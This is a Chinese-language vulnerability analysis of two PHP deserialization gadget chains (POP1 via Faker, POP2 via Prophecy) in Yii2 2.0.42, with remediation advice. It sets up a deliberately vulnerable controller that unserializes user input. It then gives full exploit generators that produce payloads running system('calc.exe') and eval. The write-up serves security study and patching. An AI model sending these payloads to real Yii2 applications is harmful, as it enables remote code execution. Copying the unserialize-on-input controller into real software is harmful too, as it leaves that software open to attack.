Yii2.0.42反序列化分析(一)
字数 1226 2025-08-09 15:23:13

Yii2.0.42反序列化漏洞分析与利用

环境搭建

  1. 使用Composer创建项目:
composer create-project --prefer-dist yiisoft/yii2-app-basic yii2
  1. 反序列化入口文件示例代码:
<?php
namespace app\controllers;
use Yii;
use yii\web\Controller;

class AxinController extends \yii\web\Controller {
    public function actionDeser($data) {
        return unserialize(base64_decode($data));
    }
}

漏洞背景

  • Yii2.0.38版本之前存在多条反序列化利用链
  • 2.0.42版本中,vendor/codeception/codeception/ext/RunProcess.php类未添加__wakeup魔术方法修补
  • 2.0.43版本已修复该漏洞

利用链分析

POP1利用链

链式调用流程

  1. RunProcess::__destruct() -> stopProcess()
  2. array_reverse()处理$this->processes数组
  3. 触发ValidGenerator::__call()
  4. 通过DefaultGenerator实现RCE

关键类分析

  1. vendor/codeception/codeception/ext/RunProcess.php
class RunProcess {
    private $processes;
    // 反序列化入口点
}
  1. vendor/fakerphp/faker/src/Faker/ValidGenerator.php
class ValidGenerator {
    protected $generator;
    protected $validator;
    protected $maxRetries;
    
    // __call魔术方法中的关键代码:
    do {
        $res = call_user_func_array(array($this->generator, $method), $args);
    } while (++$this->retries < $this->maxRetries && !call_user_func($this->validator, $res));
}
  1. vendor/fakerphp/faker/src/Faker/DefaultGenerator.php
class DefaultGenerator {
    protected $default;
    
    public function __call($method, $attributes) {
        return $this->default; // 完全可控
    }
}

EXP构造

<?php
namespace Faker;
class DefaultGenerator {
    protected $default;
    function __construct() {
        $this->default = 'calc.exe';
    }
}

class ValidGenerator {
    protected $generator;
    protected $validator;
    protected $maxRetries;
    function __construct() {
        $this->generator = new DefaultGenerator();
        $this->maxRetries = '10';
        $this->validator = 'system';
    }
}

namespace Codeception\Extension;
use Faker\ValidGenerator;

class RunProcess {
    private $processes;
    function __construct() {
        $this->processes = [new ValidGenerator()];
    }
}

echo base64_encode(serialize(new RunProcess()));

POP2利用链

链式调用流程

  1. RunProcess::__destruct() -> stopProcess()
  2. 触发ObjectProphecy::__call()
  3. 调用reveal()方法
  4. 通过LazyDoubleDoubler类进行链式调用
  5. 最终在ClassCreator中实现代码执行

关键类分析

  1. vendor/phpspec/prophecy/src/Prophecy/Prophecy/ObjectProphecy.php
class ObjectProphecy {
    private $lazyDouble;
    private $revealer;
    
    public function __call($method, $arguments) {
        // 关键调用点
        return $this->revealer->reveal();
    }
}
  1. vendor/phpspec/prophecy/src/Prophecy/Doubler/LazyDouble.php
class LazyDouble {
    private $doubler;
    private $argument;
    private $class;
    private $interfaces;
    
    public function getInstance() {
        // 关键调用点
        return $this->doubler->double($this->class, $this->interfaces, $this->argument);
    }
}
  1. vendor/phpspec/prophecy/src/Prophecy/Doubler/Doubler.php
class Doubler {
    private $mirror;
    private $creator;
    private $namer;
    
    public function double(\ReflectionClass $class = null, array $interfaces, array $arguments = null) {
        // 关键调用点
        $classname = $this->createDoubleClass($class, $interfaces);
    }
}
  1. vendor/phpspec/prophecy/src/Prophecy/Doubler/Generator/ClassCreator.php
class ClassCreator {
    private $generator;
    
    public function create($classname, Node\ClassNode $class) {
        // 代码执行点
        eval($this->generator->generate($classname, $class));
    }
}

EXP构造

<?php
namespace Codeception\Extension;
use Prophecy\Prophecy\ObjectProphecy;

class RunProcess {
    private $processes;
    function __construct() {
        $a = new ObjectProphecy('1');
        $this->processes[] = new ObjectProphecy($a);
    }
}

namespace Prophecy\Prophecy;
use Prophecy\Doubler\LazyDouble;

class ObjectProphecy {
    private $lazyDouble;
    private $revealer;
    function __construct($a) {
        $this->revealer = $a;
        $this->lazyDouble = new LazyDouble();
    }
}

namespace Prophecy\Doubler;
class LazyDouble {
    private $doubler;
    private $argument;
    private $class;
    private $interfaces;
    function __construct() {
        $this->doubler = new Doubler();
        $this->class = new \ReflectionClass('Exception');
        $this->argument = array('joker' => 'joker');
        $this->interfaces[] = new \ReflectionClass('Exception');
    }
}

namespace Prophecy\Doubler\Generator\Node;
class ClassNode {}

namespace Prophecy\Doubler;
use Prophecy\Doubler\Generator\Node\ClassNode;
use Faker\DefaultGenerator;
use Prophecy\Doubler\Generator\ClassCreator;

class Doubler {
    private $mirror;
    private $creator;
    private $namer;
    function __construct() {
        $this->namer = new DefaultGenerator('joker');
        $this->mirror = new DefaultGenerator(new ClassNode());
        $this->creator = new ClassCreator();
    }
}

namespace Faker;
class DefaultGenerator {
    protected $default;
    function __construct($default) {
        $this->default = $default;
    }
}

namespace Prophecy\Doubler\Generator;
use Faker\DefaultGenerator;

class ClassCreator {
    private $generator;
    function __construct() {
        $this->generator = new DefaultGenerator('eval(phpinfo());');
    }
}

echo base64_encode(serialize(new RunProcess()));

漏洞修复

  1. Yii2.0.43版本通过在相关类中添加__wakeup魔术方法修复了该漏洞
  2. 修复方式示例:
public function __wakeup() {
    throw new \Exception("Serialization is not allowed");
}

总结

  1. 该漏洞主要利用Yii框架依赖的第三方组件中的反序列化问题
  2. 两条利用链展示了不同的利用方式,POP2更为复杂
  3. 漏洞利用的关键在于找到未受保护的__destruct__wakeup入口点
  4. 通过精心构造的对象属性链实现任意代码执行

防御建议

  1. 及时更新框架和依赖组件到最新版本
  2. 避免直接反序列化用户输入
  3. 实现自定义的序列化/反序列化逻辑时进行严格校验
  4. 使用PHP的allowed_classes选项限制反序列化的类
Yii2.0.42反序列化漏洞分析与利用 环境搭建 使用Composer创建项目: 反序列化入口文件示例代码: 漏洞背景 Yii2.0.38版本之前存在多条反序列化利用链 2.0.42版本中, vendor/codeception/codeception/ext/RunProcess.php 类未添加 __wakeup 魔术方法修补 2.0.43版本已修复该漏洞 利用链分析 POP1利用链 链式调用流程 : RunProcess::__destruct() -> stopProcess() array_reverse() 处理 $this->processes 数组 触发 ValidGenerator::__call() 通过 DefaultGenerator 实现RCE 关键类分析 : vendor/codeception/codeception/ext/RunProcess.php : vendor/fakerphp/faker/src/Faker/ValidGenerator.php : vendor/fakerphp/faker/src/Faker/DefaultGenerator.php : EXP构造 : POP2利用链 链式调用流程 : RunProcess::__destruct() -> stopProcess() 触发 ObjectProphecy::__call() 调用 reveal() 方法 通过 LazyDouble 和 Doubler 类进行链式调用 最终在 ClassCreator 中实现代码执行 关键类分析 : vendor/phpspec/prophecy/src/Prophecy/Prophecy/ObjectProphecy.php : vendor/phpspec/prophecy/src/Prophecy/Doubler/LazyDouble.php : vendor/phpspec/prophecy/src/Prophecy/Doubler/Doubler.php : vendor/phpspec/prophecy/src/Prophecy/Doubler/Generator/ClassCreator.php : EXP构造 : 漏洞修复 Yii2.0.43版本通过在相关类中添加 __wakeup 魔术方法修复了该漏洞 修复方式示例: 总结 该漏洞主要利用Yii框架依赖的第三方组件中的反序列化问题 两条利用链展示了不同的利用方式,POP2更为复杂 漏洞利用的关键在于找到未受保护的 __destruct 或 __wakeup 入口点 通过精心构造的对象属性链实现任意代码执行 防御建议 及时更新框架和依赖组件到最新版本 避免直接反序列化用户输入 实现自定义的序列化/反序列化逻辑时进行严格校验 使用PHP的 allowed_classes 选项限制反序列化的类